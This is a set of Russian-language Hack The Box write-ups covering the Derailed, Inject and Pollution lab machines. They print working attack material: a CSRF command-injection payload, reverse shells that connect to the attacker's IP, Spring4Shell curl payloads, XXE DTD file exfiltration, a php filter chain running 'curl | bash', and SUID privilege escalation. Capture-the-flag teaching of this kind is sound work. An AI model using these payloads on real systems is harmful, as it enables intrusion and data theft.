Сле дующий скрипт выпол нит зап рос к стра нице , сде лает

задер жку две секун ды для ожи дания заг рузки стра ницы, получит CSRF-токен
и соз даст новую HTML-фор му с теми же парамет рами, что и в легитим ной
фор ме для ска чива ния фай лов. Затем запол няем фор му извле чен ным CSRF-
токеном и наг рузкой.

/administration

    var xmlHttp = new XMLHttpRequest();
  xmlHttp.open("GET", "http://derailed.htb:3000/administration", true);

xmlHttp.send(null);
 setTimeout(function() {

       var doc = new DOMParser().parseFromString(xmlHttp.responseText, '
text/html');
     var token = doc.getElementById('authenticity_token').value;
      

 

var newform = new DOMParser().parseFromString('<form id="rform" 
method="post" action="/administration/reports">    <input 
type="hidden" name="authenticity_token" id="authenticity_token" 
value="placeholder" autocomplete="off">    <input id="report_log" 
type="text" class="form-control" name="report_log" 
value="placeholder" hidden="">    <button name="button" 
type="submit">Submit</button>', 'text/html');
  document.body.append(newform.forms.rform);
    document.getElementById('rform').elements.report_log.value = '
|curl http://10.10.14.44/test_rce';
   
 
document.getElementById('rform').elements.authenticity_token.value

= token;
  document.getElementById('rform').submit();
 }, 2000);

Пос ле отправ ки монито рим логи веб-сер вера и видим зап рос из наг рузки
для фун кции .open

Ло ги веб-сер вера

Наг рузка отра бота ла, поэто му запус каем лис тенер 

и кида ем реверс-шелл:

pwncat-cs -lp 4321

        |rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.44 4321
>/tmp/f

Сес сия поль зовате ля rails

По лучив бэк коннект, забира ем флаг поль зовате ля в его домаш нем катало ге.

Флаг поль зовате ля

ÏÐÎÄÂÈÆÅÍÈÅ
Для прод вижения к дру гому поль зовате лю сто ит поис кать учет ные дан ные.
Так как в сис теме есть веб-при ложе ние с базой дан ных, это наша пер вая
цель. В катало ге сай та находим файл  и ска чива ем на свой компь- 

ютер.

sqlite3

Заг рузка фай ла базы дан ных

За тем откры ваем файл для ана лиза. Я исполь зую для это го .

Выбира ем таб лицу , где и находим двух поль зовате лей, а так же bcrypt-
хеши их паролей.

DB Browser

users

Со дер жимое таб лицы users

От прав ляем хеши на перебор с помощью , ука зывая режим 3200

(параметр ).

hashcat

-m

 0 hashcat -a -m 3200 3200_hash.txt rockyou.txt 

Ре зуль тат перебо ра хешей

По луча ем один пароль. Оста лось най ти поль зовате ля. Для это го получим
всех поль зовате лей с активной коман дной обо лоч кой из фай ла ./etc/passwd

  cat /etc/passwd | grep -v 'nologin\|false'

Поль зовате ли с активной коман дной обо лоч кой

Про буем по поряд ку добавить получен ный пароль и в ито ге авто ризу емся
от име ни дру гого поль зовате ля: .openmediavault-webgui

Сес сия поль зовате ля openmediavault-webgui

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
OpenMediaVault — это решение для сетево го хра нили ща на Linux. Оно под- 
держи вает такие сер висы, как SSH, (S)FTP, SMB/CIFS, RSync и мно гие дру гие.
И сей час мы находим ся в кон тек сте поль зовате ля служ бы OpenMediaVault.
Пер вым делом прос мотрим файл нас тро ек 

.
/etc/openmediavault/config.

xml

Со дер жимое фай ла cong.xml

Из инте рес ного наб люда ем толь ко нас трой ки для дос тупа к веб-сер веру,
а так же, что очень инте рес но, нас трой ки для дос тупа по SSH. Так как мы
работа ем от име ни поль зовате ля служ бы, можем вно сить изме нения в файл
с нас трой ками.

Пра ва на файл нас тро ек OpenMediaVault

Да вай вне сем в нас трой ки пару изме нений и раз решим под клю чение с при- 
ват ным клю чом по SSH. Под робно об этом написа но на . Спер ва
генери руем пару SSH-клю чей.

фо руме

 rsa ssh-keygen -t
 ssh-keygen -e -f id_rsa.pub 

Те перь откры ваем нас трой ки в редак торе nano (да, pwncat это поз воля ет
сде лать!) и меня ем запись для тес тового поль зовате ля, добав ляя пуб личный
ключ.

Из менен ная запись в фай ле кон фигура ций

Те перь при меним изме нения для SSH.

  ssh
force

/usr/sbin/omv-rpc -u admin "config" "applyChanges" "{"modules":["
"]," ":true}"

При мене ние нас тро ек

И под клю чаем ся с при ват ным клю чом!

Флаг рута

Флаг рута у нас, а зна чит, машина зах вачена!

https://gchq.github.io/CyberChef/#recipe=To_Charcode(
https://bishopfox.com/blog/ruby-vulnerabilities-exploits
https://sqlitebrowser.org/
https://forum.openmediavault.org/index.php?thread/7822-guide-enable-ssh-with-public-key-authentication-securing-remote-webui-access-to/


ИСПОЛЬЗУЕМ 
ANSIBLE PLAYBOOKS 

ДЛЯ ПОВЫШЕНИЯ ПРИВИЛЕГИЙ

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу, как повысить при- 
виле гии с при мене нием тех ники GTFOBins
для Ansible playbooks. Но преж де, чем доб- 
рать ся до него, нам пред сто ит про экс плу- 
ати ровать уяз вимость Spring4Shell в фрей- 
мвор ке Spring и заполу чить учет ные дан ные
поль зовате ля.

На ша цель — зах ват тре ниро воч ной машины Inject с пло щад ки .
Уро вень ее слож ности — лег кий.

Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.204    inject.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Мы наш ли два откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
8080 — веб-сер вис Nagios NSCA.•

На SSH мы сей час ничего не добь емся, поэто му обра щаем свой взор
на веб-сер вер.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

На сай те мож но зарегис три ровать ся и залоги нить ся, к тому же в гла за бро- 
сает ся воз можность заг ружать фай лы через пункт меню Upload. Перей ти
на эту стра ницу и заг рузить файл получит ся и без авто риза ции.

Фор ма заг рузки фай ла

Пос ле заг рузки фай ла нам пред ложат прос мотреть его по ссыл ке. Более
инте рес но это выг лядит в .Burp History

Burp History

Наз вание заг ружен ного фай ла переда ется в качес тве парамет ра  стра- 

ницы . В таком слу чае сле дует про верить, нет ли здесь уяз- 
вимос ти LFI, которая поз волит смот реть про изволь ные фай лы с обхо дом
катало га, к при меру.

img
/show_image

Про буем про читать файл ,
и у нас получа ется.

../../../../../../../../../../etc/passwd

Со дер жимое фай ла /etc/passwd

Зна чит, LFI при сутс тву ет, это нам при годит ся.

ÒÎ×ÊÀ ÎÏÎÐÛ

При попыт ке рас кру тить уяз вимость обна ружи ваем, что мы можем не толь ко
смот реть фай лы, но и получать лис тинги катало гов.

Со дер жимое катало га /etc/

Да вай пос мотрим, что лежит в , что бы най ти каталог с сай том./var/www/

Со дер жимое катало га /var/www/

Это явно дирек тория . Давай гля нем фай лы в ней.WebApp

Со дер жимое катало га /var/www/WebApp/

Так мы узна ем, что име ем дело с при ложе нием на Java. Пос коль ку исполь- 
зует ся средс тво сбор ки Maven, вся струк тура про екта опи сана в фай ле 

 (Project Object Model), который находит ся в кор невой пап ке про екта.

В Maven есть понятие «арте факт» — это какая-то зависи мость или пла гин.

pom.
xml

Со дер жимое фай ла /var/www/WebApp/pom.xml

В этом про екте исполь зует ся фрей мворк Spring — это средс тво внед рения
зависи мос тей с нес коль кими удоб ными сло ями (сре ди них — дос туп к базе
дан ных, прок си, аспек тно ори енти рован ное прог рамми рова ние, RPC,
веб-инфраструк тура и про чие). Все это поз воля ет быс трее и удоб нее соз- 
давать при ложе ния на Java, но исполь зование таких фрей мвор ков может при- 
вес ти к рис кам для безопас ности. Так, эта вер сия Spring содер жит извес тную
уяз вимость Spring4Shell.

Spring4Shell

Этот баг при водит к уда лен ному выпол нению кода (RCE). Под робнее о том,
как это работа ет, можешь  в бло ге Sysdig. Что бы про верить уяз- 
вимость, поп робу ем запус тить прос той веб-сер вер на осно ве Python
3 и обра тить ся к нему с уда лен ного сер вера:

про читать

curl http://10.10.14.16/test_rce 

По лучит ся такой зап рос:

curl       

   

-i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:
T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.16/
test_rce")' 'http://inject.htb:8080/functionRouter' --data-raw 'test'

Ло ги веб-сер вера

Ви дим зап рос в логах, а зна чит, уяз вимость под твержде на. Запус каем лис- 
тенер  и выпол няем реверс-шелл. В качес тве шел ла
исполь зуем сле дующий про верен ный вре менем код на Python:

pwncat-cs -lp 4321

 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.
AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.16",4321));os.dup2(
s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import 
pty; pty.spawn("sh")'

Од ной коман дой это выпол нить не выш ло, поэто му пер вой коман дой ска- 
чива ем реверс-шелл, вто рой прис ваиваем пра ва для выпол нения, а треть ей
выпол няем шелл.

curl       

  
 

-i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:
T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.16/rs.
sh -o /tmp/rs.sh")' 'http://inject.htb:8080/functionRouter'
--data-raw 'test'

curl       
 

  

-i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:
T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/rs.sh")'
'http://inject.htb:8080/functionRouter' --data-raw 'test'

curl       
 

  

-i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:
T(java.lang.Runtime).getRuntime().exec("/tmp/rs.sh")' 'http://inject.
htb:8080/functionRouter' --data-raw 'test'

Сес сия поль зовате ля frank

ÏÐÎÄÂÈÆÅÍÈÅ

В домаш нем катало ге поль зовате ля находим скры тую пап ку  для нас тро ек

.

.m2
Maven

Со дер жимое домаш него катало га поль зовате ля

В этой пап ке дол жен быть файл , как раз и опи сыва ющий

основные парамет ры. Нам повез ло, в фай ле наш лись еще и учет ные дан ные.

settings.xml

Со дер жимое фай ла settings.xml

Ме няем поль зовате ля с помощью ути литы  и получа ем пер вый флаг.su

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Мы вош ли в сис тему и получи ли флаг поль зовате ля, но для прод вижения
к руту нуж но сна чала соб рать информа цию о сис теме. Я, как обыч но, исполь- 
зовал скрипт LinPEAS, но он ничего осо бен ного не показал.

Ес ли базовый перебор потен циаль но инте рес ных мест в сис теме ничего
не дал, зна чит, нуж но отсле живать запус каемые про цес сы. Для это го есть
отличное при ложе ние . Заг рузим его на хост, дадим пра во на выпол- 

нение, а потом запус тим и будем монито рить логи. Таким обра зом обна ружи- 
ваем, что запус кают ся про цес сы  и ,

но что более инте рес но — они запус кают ся в кон тек сте поль зовате ля
с нулевым UID, а это root.

pspy64

ansible-playbook ansible-parallel

Вы вод ути литы pspy64

Так же сто ит обра тить вни мание на исполь зуемый путь:

/opt/automation/tasks/*.yml 

По луча ется, мы можем передать на при виле гиро ван ное выпол нение любой
кон фиг YML в катало ге . К тому же записы вать в эту
дирек торию могут поль зовате ли груп пы , в которой мы и сос тоим

(вывод коман ды  при получе нии сес сии).

/opt/automation/tasks/
staff

id

Пра ва на каталог /opt/automation/tasks/

Пер вым делом я решил про верить тех ники GTFOBins и нашел ту, которую
.мож но исполь зовать

Тех ника GTFOBins для ansible-playbook

Од ной коман дой мы соз даем кон фигура цию, которая при ведет к выпол нению
коман ды ./usr/bin/chmod u+s /bin/bash

 
 

echo '[{hosts: localhost, tasks: [shell: /usr/bin/chmod u+s /bin/
bash]}]' > /opt/automation/tasks/get_root.yml 

Спус тя некото рое вре мя про веря ем пра ва на файл коман дной обо лоч ки 

 и видим выс тавлен ный S-бит.

/
bin/bash

Пра ва на файл /bin/bash

Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

Так мы и получа ем новую при виле гиро ван ную сес сию.

/bin/bash -p

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://sysdig.com/blog/cve-2022-22963-spring-cloud/
https://github.com/DominicBreuker/pspy
https://gtfobins.github.io/gtfobins/ansible-playbook/


ЭКСПЛУАТИРУЕМ XXE 
И РАЗБИРАЕМСЯ 
С УЯЗВИМОСТЬЮ 

PROTOTYPE POLLUTION

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу, как работать
с уяз вимостью типа prototype pollution
в при ложе нии на Node.js. На пути к ней мы
поуп ражня емся в экс плу ата ции XXE,
порабо таем с Redis и при меним экс пло ит
для PHP FPM.

Уп ражнять ся мы будем на тре ниро воч ной машине Pollution с пло щад ки 
. Уро вень — слож ный.

Hack
The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.192    pollution.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел все го три откры тых пор та:
22 — служ ба OpenSSH 8.4p1;•
80 — веб-сер вер Apache 2.4.54;•
6379 — СУБД Redis.•

На ибо лее веро ятная точ ка вхо да при таком выборе — веб-сайт. Его-то и про- 
верим пер вым делом.

Глав ная стра ница сай та

В информа ции на сай те отра жает ся реаль ный домен, который мы добав ляем
в файл ./etc/hosts

10.10.11.192 pollution.htb collect.htb 

Ин форма ция на сай те

А так как мы получи ли реаль ное домен ное имя, поп робу ем прос каниро вать
под домены.

Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — URL;• -u

 — заголо вок HTTP;• -H

 — филь тро вать стра ницы по раз меру.• -fs

Мес то перебо ра помеча ется сло вом FUZZ.

По луча ется вот такая коман да:

ffuf    
256   

-u 'http://collect.htb/' -w subdomains-top1million-110000.txt -t
-H 'Host: FUZZ.collect.htb' -fs 26197 

Ре зуль тат ска ниро вания под доменов

До бав ляем все най ден ные записи в файл ./etc/hosts

10.10.11.192 pollution.htb collect.htb forum.collect.htb developers.
collect.htb 

На пер вом домене обна ружи ваем откры тый форум с воз можностью регис- 
тра ции, а на вто ром нас встре чает HTTP-аутен тифика ция.

Глав ная стра ница forum.collect.htb

Пе рехо дим к изу чению форума.

ÒÎ×ÊÀ ÂÕÎÄÀ

Ре гис три руем ся на форуме, так как это поз волит рас ширить область иссле- 
дова ния. Сра зу копиру ем себе спи сок поль зовате лей, иног да это очень важ-
ная информа ция.

Поль зовате ли форума

Пе рехо дим к откры тым темам и прос матри ваем обсужде ния. В одном пос те
видим, как поль зователь рас шарил исто рию прок си-сер вера.

Со обще ние с исто рией прок си-сер вера

В фай ле видим всю исто рию зап росов и отве тов, про ходив ших через прок си.
Эти дан ные закоди рова ны в Base64.

Со дер жимое фай ла proxy_history.txt

Де коди ровать мож но пря мо в  с помощью ком бинации кла виш Ctrl-Shift-
B.

Burp

Де коди рован ный зап рос на сер вер

На ходим очень инте рес ный зап рос, который повыша ет роль поль зовате ля
до адми нис тра тора. Вер немся к исходно му сай ту и отпра вим ана логич ный
зап рос с тем же токеном.

Зап рос на повыше ние при виле гий

То кен ока зал ся неод норазо вый, и роль поль зовате ля повыси лась до адми- 
нис тра тора сай та.

Стра ница адми нис тра тора

Эти при виле гии поз воля ют нам раз решить поль зовате лю получать дос туп
по API.

Фор ма регис тра ции поль зовате ля API

Прос матри ваем исто рию зап росов  и находим зап рос на регис- 

тра цию поль зовате ля API.

Burp History

Дан ные отправ ляют ся в фор мате XML, а зна чит, здесь может быть уяз вимость
XXE. Давай про верим!

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
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ÒÎ×ÊÀ ÎÏÎÐÛ

XXE

 — это уяз вимость, которая

поз воля ет ата кующе му вме шивать ся в обра бот ку XML-дан ных. Эта уяз- 
вимость час то помога ет ата кующе му прос матри вать про изволь ные фай лы
в фай ловой сис теме сер вера и вза имо дей ство вать с любыми сер верны ми
или внеш ними сис темами, к которым име ет дос туп само при ложе ние.

Èíú åêöèÿ âíåø íèõ ñóù íîñòåé XML (XXE)

Это про исхо дит из-за того, что при ложе ние может исполь зовать фор мат
XML для переда чи дан ных. Для их обра бот ки в таких слу чаях поч ти всег да
при меня ется стан дар тная биб лиоте ка или API плат формы. Уяз вимос ти XXE
воз ника ют из-за того, что спе цифи кация XML содер жит потен циаль но опас- 
ные фун кции, которые мож но выз вать, даже если при ложе ние их не исполь- 
зует.

Внеш ние сущ ности XML — это нас тра иваемые сущ ности, опре делен ные
зна чения которых заг ружа ются из фай лов DTD с уда лен ного сер вера.

Поп робу ем про читать файл . Запус тим веб-сер вер:/etc/hosts

python3 -m http.server 80 

И соз дадим наг рузку, которая попыта ется заг рузить файл DTD 
с нашего веб-сер вера.

evil.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
   <!ENTITY % xxe SYSTEM "http://10.10.14.13/evil.dtd"> %xxe; 
]> 
<root>
   POST<method> </method>
   <uri>/auth/register</uri>
   <user>

ralf       <username> </username>
ralf       <password> </password>

   </user>
</root>

Те перь перехо дим к содер жимому фай ла DTD. Сна чала сущ ность будет
читать целевой файл и кодиро вать его в Base64. А затем заг ружать новую
уда лен ную сущ ность, но в URL-парамет ре переда вать закоди рован ный файл,
который мы хотим получить.

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/
resource=../../../../etc/hosts'>
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://10.10.14.6/
?file=%file;'>"> 
%eval; 
%exfiltrate; 

Вы пол нение зап роса на сер вер

Ло ги веб-сер вера Python 3

Мы получи ли дан ные, а зна чит, уяз вимость есть. Давай читать фай лы сай та.
Начина ем, конеч но, с  (изме няем толь ко пер вую стро ку фай ла
DTD).

index.php

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/
resource=index.php'>

От прав ляем новый зап рос, получа ем файл на свой сер вер и декоди руем
Base64-стро ку.

Со дер жимое фай ла index.php

Этот файл ничего, кро ме новых путей, не рас кры вает. Давай получим под клю- 
чаемый файл .bootstrap.php

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/
resource=../bootstrap.php'>

Со дер жимое фай ла bootstrap.php

И получа ем сек рет для под клю чения к служ бе Redis. К ней перей дем чуть поз- 
же, а пока про дол жим выжимать мак симум из XXE. Прав да, боль ше исходные
коды нам ничего не откры ли, но пом ним про HTTP-аутен тифика цию на одном
из доменов. Вспо мина ем про домен . Получим учет ные дан ные

из фай ла .

developers
/var/www/developers/.htpasswd

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/
resource=../../../../../../var/www/developers/.htpasswd'>

Со дер жимое фай ла .htpasswd

Что бы переб рать этот хеш, нам нуж но знать режим перебо ра. В этом
поможет справ ка .hashcat

 |    hashcat --example grep '\$apr1\$' -A2 -B2

Опи сание хеша

По луча ем режим 1600, который переда ем в парамет ре .-m

hashcat -m 1600 hash.txt rockyou.txt 

Ре зуль тат перебо ра хеша

По луча ем пароль и авто ризу емся на , но нас встре- 

чает еще и авто риза ция на сай те.

developers.collect.htb

Фор ма авто риза ции developers.collect.htb

Те перь перей дем к изу чению Redis.

Auth Bypass

Порт открыт, поэто му под клю чаем ся с най ден ным паролем и получа ем все
клю чи.

redis-cli -h collect.htb -a COLLECTR3D1SPASS 
keys *

Клю чи в базе Redis

По луча ем сес сии, видимо, какого-то веб при ложе ния. Для про вер ки перехо- 
дим к сай ту , получа ем новую сес сию в куки и сно ва про веря ем

клю чи в Redis.

developers

Burp History

Клю чи Redis

По лучим записи по клю чам, что бы разоб рать фор мат хра нящих ся дан ных.

По луче ние дан ных Redis

Пер вая запись соот ветс тву ет сай ту , а толь ко что соз данная сес сия,

конеч но же, ничего не хра нит. По извес тной записи сфор миру ем дан ные
для адми нис тра тора сай та  и прис воим толь ко что соз данно му

клю чу.

collect

developers

ralf
admin True

set PHPREDIS_SESSION:iht1inpstsraqqkbnc1grpi8fa "username|s:4:" ";
role|s:5:" ";auth|s:4:" ";"

Об новля ем стра ницу на сай те и получа ем дос туп от име ни авто ризо ван ного
поль зовате ля.

До маш няя стра ница сай та Developers

Сра зу обра щаем вни мание на то, что стра ница переда ется в качес тве URL-
парамет ра . В таких слу чаях нуж но сра зу искать уяз вимос ти типа LFI
или RCE. Я поп робовал нес коль ко, но ничего не получи лось. Ско рее все го,
исполь зуют ся филь тры и мы можем пос мотреть на них, про читав код сай та
через XXE.

page

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/
resource=../../../../../../var/www/developers/index.php'>

Со дер жимое фай ла /var/www/developers/index.php

Ис поль зует ся фун кция , но к ука зан ной стра нице добав ляет ся рас- 

ширение .

include
.php

PHP include RCE

Да же в таком слу чае мы можем выпол нить про изволь ный код бла года ря
репози торию .php_lter_chain_generator

Соз дание наг рузки

Те перь отправ ляем ее на сайт и в отве те видим резуль тат выпол нения коман- 
ды.

Экс плу ата ция RCE

Ос талось вмес то коман ды  выпол нить коман ду, которая ска чает и запус тит

с нашего веб-сер вера сле дующий реверс-шелл.

id

 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.
AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",4321));os.dup2(s.
fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; 
pty.spawn("sh")'

Что бы пой мать вхо дящее соеди нение, исполь зуем .pwncat-cs

 python3 php_filter_chain_generator.py --chain '<?= `curl http://10.
10.14.6/r | bash` ?>'

Сес сия поль зовате ля веб-сер вера

Продолжение статьи →

https://github.com/synacktiv/php_filter_chain_generator
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ÏÐÎÄÂÈÆÅÍÈÅ
Те перь нам необ ходимо соб рать информа цию о сис теме и потен циаль ных
спо собах повыше ния при виле гий до рута. Я для это го исполь зую скрип ты
PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Да вай пос мотрим, что нашел скрипт.
В спис ке про цес сов отме чаем запущен ные от име ни раз ных поль зовате- 

лей про цес сы , а так же запущен ный от име ни рута 
.

php-fpm pollution_api
nodejs

Спи сок про цес сов php-fpm

Про цесс nodejs

Сре ди прос лушива емых пор тов есть порт служ бы MySQL 3306.

Спи сок прос лушива емых пор тов

Так как работа ет служ ба базы дан ных MySQL, ско рее все го, базы дан ных
исполь зуют ся веб-при ложе нием. Зна чит, мы можем най ти в исходных кодах
сай та учет ные дан ные для под клю чения к СУБД и получить из базы все инте- 
рес ные дан ные. Код для под клю чения к СУБД находим в фай ле .login.php

Со дер жимое фай ла login.php

Под клю чаем ся к базе дан ных и прос матри ваем сущес тву ющие таб лицы.

 mysql -u webapp_user -p'Str0ngP4ssw0rdB*12@1' -D developers 

 show tables;

Таб лицы в базе developers

По луча ем дан ные из единс твен ной таб лицы .users

   select * from users;

Ло гины и пароли поль зовате лей

По лучен ные учет ные дан ные никуда не под ходят, поэто му перей дем к 
. Исполь зуем  для выпол нения кода PHP. В качес тве

выпол няемо го кода будем прос то вызывать фун кцию  и переда вать ей

коман ду.

php-
fpm из вес тный экс пло ит

system

touch r.php 
 python3 fpm.py -c '<?php system("id"); ?>' 127.0.0.1 /tmp/r.php 

Вы пол нение коман ды id

Ко ман да выпол нена от име ни поль зовате ля . Давай ско пиру ем файл
коман дной обо лоч ки  и наз начим ему бит SUID.

victor
/bin/bash

 python3 fpm.py -c '<?php system("cp /bin/bash /tmp/bash; chmod u+s /
tmp/bash"); ?>' 127.0.0.1 /tmp/r.php 

Ко пиро вание фай ла коман дной обо лоч ки

Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

Те перь мы можем запус тить новую сес сию от име ни поль зовате ля .victor

/tmp/bash -p

По луче ние сес сии поль зовате ля victor

Ге нери руем SSH-ключ коман дой  и записы ваем пуб личный SSH-

ключ в файл . Затем под клю чаем ся с при ват ным
клю чом и забира ем пер вый флаг.

ssh-keygen
~/.ssh/authorized_keys

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
В домаш нем катало ге поль зовате ля находим исходные коды при ложе ния

, которое, как мы видели ранее, уже запуще но от име ни поль- 

зовате ля .

pollution_api
root

Со дер жимое катало га pollution_api

Ис ходни ков очень мно го, поэто му заг рузим на хост  и упа куем
их для более удоб ного ска чива ния.

ар хиватор 7za

./7za a -r pollution_api.7z pollution_api 

Ар хивиро вание исходных кодов

По луча ем архив с уда лен ного сер вера и откры ваем в любой сре де раз работ- 
ки. Все эндпо инты API можем най ти в фай ле . Мы уже

регис три рова лись, поэто му в  мож но будет получить токен дос- 

тупа. Нас инте ресу ют точ ки  и .

documentation.js
/auth/login

/admin/messages /admin/messages/send

Со дер жимое фай ла documentation.js

Пе рехо дим к фай лу . Обоз начен ные точ ки ведут к модулям

 и  соот ветс твен но.

admin.js
Messages Messages_send

Со дер жимое фай ла admin.js

При этом из  тоже видим механизм аутен тифика ции, где перед про- 

вер кой роли спи сок поль зовате лей извле кает ся из базы дан ных зап росом
. Под робнос ти можем най ти в фай ле .

admin.js

User.findAll User.js

Со дер жимое фай ла User.js

В коде находим учет ные дан ные для под клю чения к базе дан ных.

Со дер жимое фай ла db.js

Те перь мы можем под клю чить ся к ней, поменять роль поль зовате ля на адми- 
нис тра тора и получить дос туп к конеч ным точ кам  и 

. Под клю чим ся к базе и прос мотрим таб лицы.

/admin/messages /admin/
messages/send

 mysql -u webapp_user -p'Str0ngP4ssw0rdB*12@1' -D pollution_api 

 show tables;

Таб лицы в базе pollution_api

В таб лице  хра нит ся информа ция о поль зовате лях.users

   select * from users;

Поль зовате ли в таб лице users

Из менить роль поль зовате лей мож но одним зап росом.

   update users set role='admin';

Те перь перехо дим к коман дной обо лоч ке и исполь зуем API для авто риза ции.

 
   

curl http://127.0.0.1:3000/auth/login -H "content-type: application/
json" -d '{"username":"ralf","password":"ralf"}' ;echo

Ре зуль тат зап роса

Мы авто ризо ваны и получи ли токен дос тупа. Изу чаем исходни ки даль ше, что- 
бы понимать наши воз можнос ти.

В фай ле  про исхо дит про вер ка парамет ра  (стро- 

ка 8), а затем передан ные поль зовате лем дан ные переда ются в фун кцию
 модуля  (стро ки 3 и 15).

Messages_send.js text

merge lodash

Со дер жимое фай ла Messages_send.js

Эта фун кция  перед prototype pollution.уяз вима

Prototype pollution
В JavaScript клас сы реали зуют ся с помощью так называ емых про тоти пов.
Про тотип любого объ екта дос тупен через свой ство , то есть спра- 
вед ливо сле дующее:

__proto__

  "abc".__proto__ === String.prototype

